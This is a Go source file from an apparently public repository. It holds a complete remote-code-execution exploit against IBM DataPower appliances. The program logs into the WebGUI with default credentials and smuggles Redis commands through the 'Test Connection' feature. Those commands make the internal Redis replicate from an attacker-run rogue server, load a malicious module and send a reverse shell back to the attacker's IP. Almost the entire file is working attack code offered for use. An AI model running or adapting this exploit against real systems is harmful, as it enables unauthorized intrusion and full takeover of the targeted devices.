-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathmain.go
More file actions
151 lines (149 loc) · 6.03 KB
/
Copy pathmain.go
File metadata and controls
151 lines (149 loc) · 6.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
package main
import (
"crypto/tls"
"encoding/xml"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"net/http"
"net/url"
"os"
"path"
"strconv"
"strings"
"time"
)
func main() {
datapowerIP := flag.String("dpip", "", "Datapower IP Address")
datapowerWebGUIPort := flag.Int("dpport", 9090, "Datapower WebGUI Port")
datapowerWebGUIUsername := flag.String("dpwebguiuser", "admin", "Datapower WebGUI Username")
datapowerWebGUIPassword := flag.String("dpwebguipassword", "admin", "Datapower WebGUI Password")
datapowerRedisPassword := flag.String("dpredispasswd", "", "Datapower Internal Redis Password")
datapowerRedisPort := flag.Int("dpredisport", 16379, "Datapower Internal Redis Port")
datapowerRedisModule := flag.String("dpredismodule", "dpredisshell.so", "Redis Reverse Shell Module")
localPort := flag.Int("fakeredisport", 8888, "Local port to run remote shell handler + fake redis server")
localIPAddress := flag.String("fakeredisip", "", "local address to run remote shell handler + fake redis server")
flag.Parse()
if *datapowerIP == "" || *datapowerRedisPassword == "" || *localIPAddress == "" {
log.Fatalln("Please make sure you specify all the required flags. Run with '-h' to see all tha flags.")
}
if _, err := os.Stat(*datapowerRedisModule); os.IsNotExist(err) {
log.Fatalf("Redis Module '%s' does not exist. Please check you compiled it with 'make' and specified it's location with the '-dpredismodule' flag", *datapowerRedisModule)
}
log.SetPrefix("Main - ")
log.Println("datapower-redis-rce-exploit - Created by Thomas Cope")
log.Printf("Starting Rogue Redis Server...")
fakeRedisTimeoutChannel := make(chan bool, 1)
fakeRedisShellChannel := make(chan net.Conn, 1)
go FakeRedis(*localIPAddress, *localPort, fakeRedisTimeoutChannel, *datapowerRedisModule, fakeRedisShellChannel)
log.Println("Attempting to Login to Datapower...")
endpoint := fmt.Sprintf("https://%s:%d", *datapowerIP, *datapowerWebGUIPort)
loginForm := url.Values{}
loginForm.Set("user", *datapowerWebGUIUsername)
loginForm.Set("pass", *datapowerWebGUIPassword)
loginForm.Set("domain", "default")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //Note: Datapower WebGUI Certs are usually self signed.
}
client := &http.Client{Transport: tr}
r, err := http.NewRequest("POST", endpoint+"/dp/sys.login", strings.NewReader(loginForm.Encode()))
if err != nil {
log.Fatal(err)
}
r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
r.Header.Add("Content-Length", strconv.Itoa(len(loginForm.Encode())))
res, err := client.Do(r)
if err != nil {
log.Fatal(err)
}
if res.Status != "200 OK" {
log.Fatalf("Datapower login failed. Bad HTTP Return Code - %s", res.Status)
}
defer res.Body.Close()
dpLoginBody, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatal(err)
}
type DPLoginResponse struct {
XMLName xml.Name `xml:"response"`
Text string `xml:",chardata"`
Result string `xml:"result"`
SAMLart string `xml:"SAMLart"`
Location string `xml:"location"`
}
var dpLoginResult DPLoginResponse
err = xml.Unmarshal(dpLoginBody, &dpLoginResult)
if err != nil {
log.Fatal(err)
}
if dpLoginResult.Result != "success" {
log.Fatalf("Datapower login failed. Bad XML Return Code - %v+", dpLoginResult)
}
log.Println("Datapower Credentials Valid!")
log.Printf("Datapower Login Token = %s", dpLoginResult.SAMLart)
log.Println("Exchanging Login token for auth cookie...")
r, err = http.NewRequest("GET", fmt.Sprintf("%s/css/login.css?SAMLart=%s", endpoint, dpLoginResult.SAMLart), nil)
if err != nil {
log.Fatal(err)
}
r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
res, err = client.Do(r)
if err != nil {
log.Fatal(err)
}
if res.Status != "200 OK" {
log.Fatalf("Datapower login failed. Bad HTTP Return Code - %s", res.Status)
}
defer res.Body.Close()
dpLoginCookie := res.Cookies()
log.Printf("Got login Cookie OK! - %v+", dpLoginCookie)
log.Println("Datapower Login Complete!")
log.Printf("Attempting Redis exploit via Datapower 'Test Connection' ...")
redisExploit := fmt.Sprintf(`AUTH %s
CONFIG SET dbfilename %s
SLAVEOF %s %d`, *datapowerRedisPassword, path.Base(*datapowerRedisModule), *localIPAddress, *localPort)
err = DPTestConnection(redisExploit, *datapowerRedisPort, dpLoginCookie, endpoint)
if err != nil {
log.Fatalf("Failed to perform redis exploit via Datapower 'Test Connection'. Error Message = %s", err.Error())
}
log.Printf("Datapower 'Test Connection' sent OK, waiting for redis connection...")
select {
case res := <-fakeRedisTimeoutChannel:
if res == false {
log.Fatal("Internal Error! Datapower internal redis failed to negotiate with fake redis server.")
}
case <-time.After(30 * time.Second):
log.Fatal("Timeout! Datapower internal redis failed to connect to fake redis server after 30 seconds. Note: This can also occur if the redis password is incorrect.")
}
log.Printf("Payload has been delivered to Datapower internal redis!")
log.Printf("Performing clean up...")
cleanUpCommands := fmt.Sprintf(`AUTH %s
SLAVEOF NO ONE
CONFIG SET dbfilename dump.rdb`, *datapowerRedisPassword)
err = DPTestConnection(cleanUpCommands, *datapowerRedisPort, dpLoginCookie, endpoint)
if err != nil {
log.Fatalf("Failed to perform cleanup via Datapower 'Test Connection'. Error Message = %s", err.Error())
}
log.Printf("Requesting Reverse Shell via Datapower 'Test Connection' ...")
go func() {
runReverseShell := fmt.Sprintf(`AUTH %s
MODULE LOAD ./%s
dpshell.go %s %d %s`, *datapowerRedisPassword, path.Base(*datapowerRedisModule), *localIPAddress, *localPort, path.Base(*datapowerRedisModule))
DPTestConnection(runReverseShell, *datapowerRedisPort, dpLoginCookie, endpoint)
}()
log.Printf("Waiting for Reverse Shell...")
select {
case shellConnection := <-fakeRedisShellChannel:
log.Printf("Got Reverse Shell!")
log.Printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
go func() {
io.Copy(os.Stdin, shellConnection)
}()
io.Copy(shellConnection, os.Stdout)
case <-time.After(30 * time.Second):
log.Fatal("Timeout! Did not receive reverse shell connection.")
}
}